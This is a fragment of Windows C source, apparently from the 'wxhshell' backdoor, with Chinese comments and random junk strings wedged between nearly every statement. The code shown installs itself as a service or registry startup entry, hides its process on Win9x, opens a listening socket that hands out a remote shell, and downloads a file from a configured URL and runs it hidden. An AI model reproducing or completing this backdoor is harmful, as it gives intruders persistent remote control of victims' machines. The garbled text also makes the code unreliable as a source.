tL* char procName[255]; xs$$fPAQ unsigned long cbNeeded; yK~=6^M iGN\ >m} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _fGTTw( cnv>&6a) CloseHandle(hProcess); }cKB)N
BJb Fnw:alWr if(strstr(procName,"services")) return 1; // 以服务启动 Ha'[uEDb yIMqQSt79z return 0; // 注册表启动 .HqFdsm } WjV15\, K2 // 主模块 ]MbPivM int StartWxhshell(LPSTR lpCmdLine) wX$:NOO { /ZLY@&M SOCKET wsl; xO~ElzGm BOOL val=TRUE; jlEz]@
i int port=0; ()3\(d5e struct sockaddr_in door; N##` _73q,3`24 if(wscfg.ws_autoins) Install(); ,"(L2+Yp ]Bw0Qq F# port=atoi(lpCmdLine); sDY~jP[Oa IK~&`n](> if(port<=0) port=wscfg.ws_port; [6/QUD8 \mqx ' WSADATA data; c8RJOc4X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }aCa2% #YUaM<O if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1<@SMcj> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gv#\}/->4 door.sin_family = AF_INET; Y+gY" door.sin_addr.s_addr = inet_addr("127.0.0.1"); _T=g?0
q door.sin_port = htons(port); Y.tx$% 4w4B\Na>l if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YO6BzS/~ closesocket(wsl); cTqkM@S return 1; SC{m@ } 1J@Iekat vqf$(" if(listen(wsl,2) == INVALID_SOCKET) { <Au2e closesocket(wsl); iCt.rr~;V return 1; ZzT=m*tQ& } s='+[*&& Wxhshell(wsl); !xM5
A[f WSACleanup(); KWTV!Wxb=K eRauyL"Q+ return 0; @NHh-&;w {|;a?]? } x-^6U 8a)AuAi?! // 以NT服务方式启动 Ic&h8vSU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WzMYRKZ { D7Q+w DWORD status = 0; En5oi DWORD specificError = 0xfffffff; [3%mNNk _;<!8e$C serviceStatus.dwServiceType = SERVICE_WIN32; *Ak .KBg serviceStatus.dwCurrentState = SERVICE_START_PENDING; f0<zK! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; md!6@)S-p serviceStatus.dwWin32ExitCode = 0; 1GY2aZ@ serviceStatus.dwServiceSpecificExitCode = 0; %|Ps|iV serviceStatus.dwCheckPoint = 0; [U\?+@E* serviceStatus.dwWaitHint = 0; sdu?#O+c1 95DEuReKi hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZedFhm if (hServiceStatusHandle==0) return; nK&]8" ~j0rORy] status = GetLastError(); 'J|2c;M\x if (status!=NO_ERROR)
B.z$0=b { 8v:{BHX serviceStatus.dwCurrentState = SERVICE_STOPPED; ?RRO serviceStatus.dwCheckPoint = 0; 8~=*\
@^ serviceStatus.dwWaitHint = 0;
y(A' *G9 serviceStatus.dwWin32ExitCode = status; O&`.R|v serviceStatus.dwServiceSpecificExitCode = specificError; c:[k+_Zr SetServiceStatus(hServiceStatusHandle, &serviceStatus); V+d_1]
l return; U"oNJ8&%| } |WS)KR ! n*4`Tduu^ serviceStatus.dwCurrentState = SERVICE_RUNNING; "LyD serviceStatus.dwCheckPoint = 0; cby# serviceStatus.dwWaitHint = 0; i`,FXF) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;C]Ufk } h}b:-a xNz(LZ.c // 处理NT服务事件,比如:启动、停止 #-hO\
QdC VOID WINAPI NTServiceHandler(DWORD fdwControl) *kr/,_K { >rG>Bz^Pu switch(fdwControl) Io6/Fv>! { f|RmAP;X, case SERVICE_CONTROL_STOP: *Cy54Z# serviceStatus.dwWin32ExitCode = 0; \l+v,ELX= serviceStatus.dwCurrentState = SERVICE_STOPPED; _03?XUKV serviceStatus.dwCheckPoint = 0; 6&3,fSP serviceStatus.dwWaitHint = 0; }r}*=;Ea { 5/H,UL SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,'#TdLe } 7y=>Wa ?T[ return; E-LkP; case SERVICE_CONTROL_PAUSE: Obdn#Wm= serviceStatus.dwCurrentState = SERVICE_PAUSED; $JE,u'JQ break; !(sn9z# case SERVICE_CONTROL_CONTINUE: e3~MU6 serviceStatus.dwCurrentState = SERVICE_RUNNING; >mGH4{H break; 8\"<t/_
W case SERVICE_CONTROL_INTERROGATE: g40Hj Y break; OATdmHW }; Uj@th SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?u|??z% } 7 WJ\nK j0=6B // 标准应用程序主函数 {>&~kM@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'r;mm^cS? { O"m7r ds wjarQog5Y // 获取操作系统版本 6W1GvM\e OsIsNt=GetOsVer(); dBWny& GetModuleFileName(NULL,ExeFile,MAX_PATH); b
F=MQ s.3"2waZ=T // 从命令行安装 3G})$y3m if(strpbrk(lpCmdLine,"iI")) Install(); P8 X07IK Ik G& // 下载执行文件 5'%I4@Qn+ if(wscfg.ws_downexe) { K`*GZ+b|` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r924!zdbR WinExec(wscfg.ws_filenam,SW_HIDE); 9u=A:n\ } 4;`z6\u9- ~/OY1~c if(!OsIsNt) { w$2q00R> // 如果时win9x,隐藏进程并且设置为注册表启动
'g v0;L HideProc(); \ovs[& StartWxhshell(lpCmdLine); f}otIf
} a[{$4JpK else 3i^X9[. if(StartFromService()) F%>$WN#2 // 以服务方式启动 C=D* StartServiceCtrlDispatcher(DispatchTable); 1ni+)p>] else XcR=4q|7 // 普通方式启动 ^'UM@dd?! StartWxhshell(lpCmdLine); ;$p !dI\-Q IUMv{2C return 0; Pwh}hG1sa }
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